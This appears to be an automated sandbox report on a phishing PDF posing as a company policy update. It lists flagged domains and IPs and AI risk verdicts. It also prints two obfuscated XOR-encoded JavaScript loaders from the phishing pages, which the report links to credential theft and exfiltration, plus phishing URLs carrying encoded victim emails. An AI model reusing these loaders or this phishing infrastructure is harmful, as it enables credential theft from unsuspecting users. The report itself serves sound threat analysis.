Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/	0%	Avira URL Cloud	safe
https://www.larkus.ao/animal/script.js	0%	Avira URL Cloud	safe
https://roadmap27.github.io/favicon.ico	0%	Avira URL Cloud	safe
https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/image/logo.png	0%	Avira URL Cloud	safe
https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/style.css	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
roadmap27.github.io	185.199.108.153	true	true	unknown
d26p066pn2w0s0.cloudfront.net	13.227.8.64	true	false	unknown
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
ipapi.co	172.67.69.226	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
larkus.ao	65.109.232.106	true	true	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	high
www.google.com	142.250.181.132	true	false	high
api.ipify.org	172.67.74.152	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
www.larkus.ao	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Name	Source	Malicious	Reputation
https://fontawesome.com	chromecache_178.5.dr	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false	high
https://twitter.com/githubstatus	chromecache_176.5.dr	false	high
https://githubstatus.com	chromecache_176.5.dr	false	high
https://help.github.com/pages/	chromecache_176.5.dr	false	high
https://fontawesome.com/license/free	chromecache_178.5.dr	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
65.109.232.106	larkus.ao	United States	11022	ALABANZA-BALTUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.69.226	ipapi.co	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
13.227.8.64	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
185.199.108.153	roadmap27.github.io	Netherlands	54113	FASTLYUS	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577087
Start date and time:	2024-12-18 00:27:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf
Detection:	MAL
Classification:	mal56.phis.winPDF@28/77@27/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Input	Output
URL: https://roadmap27.github.io Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://roadmap27.github.io
URL: https://roadmap27.github.io/policy-update-review-b... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution and potential data exfiltration. The use of the `atob` function to decode a heavily obfuscated string, which is then decrypted using a hardcoded key and written to the document, raises significant security concerns. This type of behavior is often associated with malicious scripts that attempt to execute arbitrary code or steal sensitive information. While the intent of the script is unclear, the combination of these high-risk indicators warrants a thorough review and a high-risk score." }
var key = "secretkey"; var encodedHtml = "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"; var decryptedHtml = atob(encodedHtml).split("").map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join(""); document.write(decryptedHtml);
URL: https://www.larkus.ao/animal/script.js... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the `eval` function, the transmission of potentially sensitive data to external domains, and the heavily encoded script content indicate a high likelihood of malicious intent. This script should be considered a significant security risk and should be further investigated or blocked from execution." }
var key = "secretkey"; var encodedScript = "FwoABwgRBRFXEgEHNxMRBRE1GhYXFwsRGU1eNyouMQoaHwAXBykMEwERD0JVU01KUlhKSx5zU0VDUgkRH0UYBhEMFRcVCQccFyAOEwwYS1hZVEJYeEVUS0UaHAsQBkUdGCgWEQwPF0VJS0oQIw0MHAAIAjUYFxkKIgoQFyQXFxcMGwFbAksNFhYXWgsVHQweEhEMAEsBGAALMgIGHBFdUG9zU0VDUkpbSyIcB0UGHwQdB0UfAQoOUjAmJ0UREhYLUhIdHw1ZABERGwYASxMYHwwHExEdBAtzU0VDUgMBBQYNGgoNUgIRHyAUEgwPNBcbBjArP01KUh5+S0VZU0VDUkUXBAsKB0ULExYcS1hZBAwNFgoDRQkWEAQXGwoaRQ0YAA1NARAWGBELGgsEWlRdUG9ZU0VDUkVUSwwfU01CGgQHA0xZCG9DUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZUxcGBhAGBUVeVF5pUkVUS0VZU0UeeEVUS0VZU0VDBhcNSx5zU0VDUkVUS0VZU0VDEQoaGBFZFwAAHQERDyAUEgwPUlhUChEWEU0LExYcQl5zU0VDUkVUS0VZU0VDXUpUIgNZFwAAHQERSwMYGgkQUgoGSwsWUxURHRURGUUcHgQKHklUGQAdGhcGERF+S0VZU0VDUkVUS0VZGgNDWkQQDgYWFwAHNwgVAglZDxlDUwERCAodFgEmHwQdB0sQHQYPBwERGE1eM0JKW0UPYUVZU0VDUkVUS0VZU0VDUkUDAgsdHBJNHgoXChEQHAtNGhcRDUVEU0ICEAoBH18bHwQNGUJPYUVZU0VDUkVUS0VZU0VDUkUGDhEMAQtDVUJPYUVZU0VDUkVUS0VZUxhpUkVUS0VZU0VDUkVUGQANBhcNUgERCAodFgEmHwQdB15zU0VDUkVUS0UEUwYCBgYcS00cWkUYeEVUS0VZU0VDUkVUSxIQHQEMBUsYBAYYBwwMHEscGQAfU1hDVQQWBBANSQcPEwsfTF5zU0VDUkVUS0VZU0VDAAAAHhcXU0JESW9US0VZU0VDUhh+S0VZUxhpeEVUS0VWXEUkFxFUDwoUEgwNUgMGBAhZFggCGwl+S0VZUwMWHAYAAgoXUwIGBiEbBgQQHSMRHQgxBgQQH00GHwQdB0xZCG9DUkVUS0VZUxcGBhAGBUUcHgQKHksHGwkQB01EMkJdMFQkSG9DUkVUFm9zU0VDUkpbSzYcB0UPHQIbSwcYAAAHUgoaSwAUEgwPUgEbBgQQHUUUGxEcSwAXGwQNEQAQSxYQCQBpUkVUSwQKCgsAUgMBBQYNGgoNUhYRHykWFApLW0UPYUVZU0VDUkVUCAoXABFDFgoZCgwXU1hDFQAALwoUEgwNNBcbBiAUEgwPWgQBHwoeAQQBEAAQLggYGglKSW9US0VZU0VDUgYbBRYNUwkMFQo9BgJZTkUHHQYBBgAXB0sSBwAGEjYcHwAABgoGQ0JXHwoEHUJdUG9ZU0VDUkVUS29ZU0VDUkVUSxELCkUYeEVUS0VZU0VDUkVUS0pWUzERC0U3BwAYAQcKBkUDAhERUwkCAAIRGUUKGh8GeEVUS0VZU0VDUkVUSwYWHRYXUgYYDgQLEQwXJzc4S1hZEw0XBhUHUUpWHwoEHUsXBwAYAQcKBksXBAhWVx4HHQgVAgsETBYKCABJX1VJE15pUkVUS0VZU0VDUkVUCAoXABFDAAAHGwoXAABDT0UVHAQQB0UFFxEXA00aHwACAAcdHzArP0xYeEVUS0VZU0VDUkVUS29ZU0VDUkVUS0VZU0UKFEVcGQAKAwoNAQBaBA5QUx5pUkVUS0VZU0VDUkVUS0VZUwkMFQo9BgJXABcAUlhUCAkcEhcBGxEhOSlCeUVDUkVUS0VZU0VDUhhUDgkKFkUYeEVUS0VZU0VDUkVUS0VZU0VMXUUgGRxZNAoMFQkRSyMYBQwAHQtUHAwNG0UPExcTDhdZAAwZF29US0VZU0VDUkVUS0VZU0VDEQoaGBFZFAoMFQkRLQQPGgYMHDAmJ0VEUwULBhEEGF9WXBIUBUsTBAoeHwBNEQoZRBZLXAMCBAwXBAsKTAEMHwQdBVhdCAEMHwQdBRhfAB9eQFBCC15zU0VDUkVUS0VZU0VDUkVUSwYWHRYXUgMVBwkbEgYIIAAHGwoXAABDT0UVHAQQB0UFFxEXA00eHAoEHgAyChMQEAoNJzc4Ql5zU0VDUkVUS0VZU0VDUkVUS29ZU0VDUkVUS0VZU0VDUkVUAgNZWwMCHgkWCgYSIQAQAgoaGABXHA5KUh5+S0VZU0VDUkVUS0VZU0VDUkVUS0UVHAIMOwgTRRYLEEVeUgIbBAIVFiMCBAwXBAssISlYeEVUS0VZU0VDUkVUS0VZU0UeUgAYGABZCG9DUkVUS0VZU0VDUkVUS0VZU0VDUkpbSywfUwcMBg1UDQQQH0lDBxYRSwEcFQQWHhFUBwoeHG9DUkVUS0VZU0VDUkVUS0VZU0VDUgkbDAowHgJNARcXS1hZVAwOEwIRRAkWFApNAgsTTF5zU0VDUkVUS0VZU0VDUkVUSxhzU0VDUkVUS0VZU0VDD29+S0VZU0VDUkVUS0VZXEpDMwEQSwAPFgsXUgkdGBEcHQARUhEbSwYRFgYIUgQXHxAYH0UKHwQTDkUKGh8GeEVUS0VZU0VDUkVUSwkWFAoqHwJaBAsVHAQHUlhUDRAXEBEKHQtcQkUCeUVDUkVUS0VZU0VDUkVUS0UQFUVLBg0dGEsXEhEWAAQYPAwdBw1DTkVCX0UFD0UXGgwHRQsYBxAREwk8DgweGxFDTkVCX0xZCG9DUkVUS0VZU0VDUkVUS0VZU0VDUhEcAhZXABcAUlhUTAwUEgIGXQkbDApXAwsEVV5+S0VZU0VDUkVUS0VZU0VDUhh+S0VZU0VDUkVUS0VZDl5pUkVUS0VZU0UeUgYVHwYRU00GABcbGUxZCG9DUkVUS0VZU0VDUkUXBAsKHAkGXAAGGQoLW0ImABcbGUUfFhEAGgwaDEUVHAIMSEJYSwALAQoRW15+S0VZU0VDUkVUS0VZHwoEHSwZDEsKAQZDT0VTAggYFABMHgoTBEsJHQJESW9US0VZU0VDUhh+S0VZUxhpeEVUS0VWXEUhExYRXVFZFgsAHQERSwMMHQYXGwoaYUVZU0UFBwsXHwwWHUUBExYRXVE8HQYMFgBcGBELWkUYeEVUS0VZU0VDBhcNSx5zU0VDUkVUS0VZU0VDAAAAHhcXUwcXHQRcGBELWl5pUkVUS0VZU0UeUgYVHwYRU00GW0UPYUVZU0VDUkVUS0VZUxIKHAEbHEsVHAYCBgwbBUsRAQAFUlhUTAQbHBAXSAcYCgsSVF5pUkVUS0VZU0VDUkVUGQANBhcNUkJTUG9ZU0VDUkVUSxhzU0VDUhh+YUVZU0VMXUUxBQ0YHQYGFkUYBAYYBwwMHEUQDhEcEBEKHQt+S0VZUwQQCwsXSwMMHQYXGwoaSwIcBykMEQQAAgoXOgsFHU1dSx5zU0VDUkVUS0UNARxDCW9US0VZU0VDUkVUS0VWXEUzAAwZChcAUwANFhUbAgsNUwMMAEU9O29ZU0VDUkVUS0VZU0UAHQsHH0ULFhYTHQsHDkVEUwQUEwwASwMcBwYLWkIcHxEJAF9MXQQEAksQAwwFC0sbGQJGFQoRHwQAVg8KHAtEW15+S0VZU0VDUkVUS0VZEAoNARFUAhU9EhECUlhUChIYGhFDAAAHGwoXAABNGBYbBU1QSG9DUkVUS0VZU0VDUkV+S0VZU0VDUkVUS0VZXEpDNQAASwEcBwQKHgAQSwkWEAQXGwoaSwwXFQpDBxYdBQJZBw0GUiwkYUVZU0VDUkVUS0VZUwYMHBYASwkWEAQXGwoaOQAKAwoNAQBUVkUYBAQKBkUSDhEaG00DGhEAGxZD
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Review the attached document and scan the barcode below to acknowledge", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please verify to continue", "prominent_button_name": "Slide to verify", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20= Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please verify to continue", "prominent_button_name": "Slide to verify", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20= Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/#c2JpZHppbnNraUBoYXJyaXNhc3NvYy5jb20= Model: Joe Sandbox AI	{ "brands": [ "Harris Associates" ] }
	{ "brands": [ "Harris Associates" ] }
URL: PDF document Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
65.109.232.106	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.26.12.205	jgbC220X2U.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=text
	xKvkNk9SXR.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	GD8c7ARn8q.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	8AbMCL2dxM.exe	Get hash	malicious	RCRU64, TrojanRansom	Browse	api.ipify.org/
	Simple2.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Ransomware Mallox.exe	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
172.67.69.226	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://buiseenet-fbsp247.getresponsewebsite.com/	Get hash	malicious	Unknown	Browse
	Employee_Bonus_Notlce.pdf	Get hash	malicious	Unknown	Browse
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse
	https://www.google.co.ls/amp/s/2mzptv.s3.us-east-1.amazonaws.com/qr.html	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	https://www.google.ca/url?q=30NUMBER&rct=44304277659948745221&sa=t&url=amp/s/estudioit.cl/starl/%23YmhpbmVzQGlubm92aWEuY29t	Get hash	malicious	Unknown	Browse
	https://estudioit.cl/starl/#ZGVicmEuY2FydGVyQGNhc2EuZ292LmF1	Get hash	malicious	Unknown	Browse
	bPRQRIfbbq.exe	Get hash	malicious	Unknown	Browse
	ajbKFgQ0Fl.exe	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipapi.co	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	104.21.16.1
	https://enrollmentportal.borlsfx.com/rwrzvvwfa/d8b09a/?2a6p5=test@test.com	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtml	Get hash	malicious	Unknown	Browse	104.26.9.44
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.26.8.44
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.8.44
	Carisls Open Benefits Enrollment.eml	Get hash	malicious	unknown	Browse	104.26.9.44
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	PQwHxAiBGt.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.26.8.44
	https://www.google.ca/url?q=1120091333775300779273902563687390256368&rct=11200913337753007792&sa=t&url=amp/s/elanpro.net/horeca/dispenc#YnJ1bml0YS5kdW5jYW5AcGFydG5lcnNtZ3UuY29t	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	https://buiseenet-fbsp247.getresponsewebsite.com/	Get hash	malicious	Unknown	Browse	104.26.8.44
d26p066pn2w0s0.cloudfront.net	https://artsofbristy.com/?data=ZGdyaW5zdGVhZEBjaXR5b2Zyb3hib3JvLmNvbQ==	Get hash	malicious	Unknown	Browse	13.227.8.64
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	13.227.8.47
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23Xamy.lynt@busey.com	Get hash	malicious	HTMLPhisher	Browse	13.227.8.64
	https://@%EF%BD%88%EF%BD%94%EF%BD%94%EF%BD%90%EF%BD%93%EF%BC%9A%E2%93%97%E2%93%A3%E2%93%A3%E2%93%9F%E2%93%A2:@%74%72%61%6E%73%6C%61%74%65.google.al/%74%72%61%6E%73%6C%61%74%65?sl=auto&tl=en&hl=en-US&u=https://google.com/amp/%F0%9F%84%B8%F0%9F%84%BF%F0%9F%84%B5%F0%9F%85%82.%E2%93%98%E2%93%9E/%69%70%66%73/%62%61%66%79%62%65%69%64%66%32%67%68%76%35%76%61%6B%65%71%6C%63%71%71%76%7A%66%73%65%74%74%37%75%7A%73%65%71%6D%6D%75%74%6E%75%61%65%73%74%6F%7A%71%69%6F%75%65%66%32%72%71%32%79%23XNick.Atkin@Yorkshirehousing.co.uk	Get hash	malicious	HTMLPhisher	Browse	13.227.8.65
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
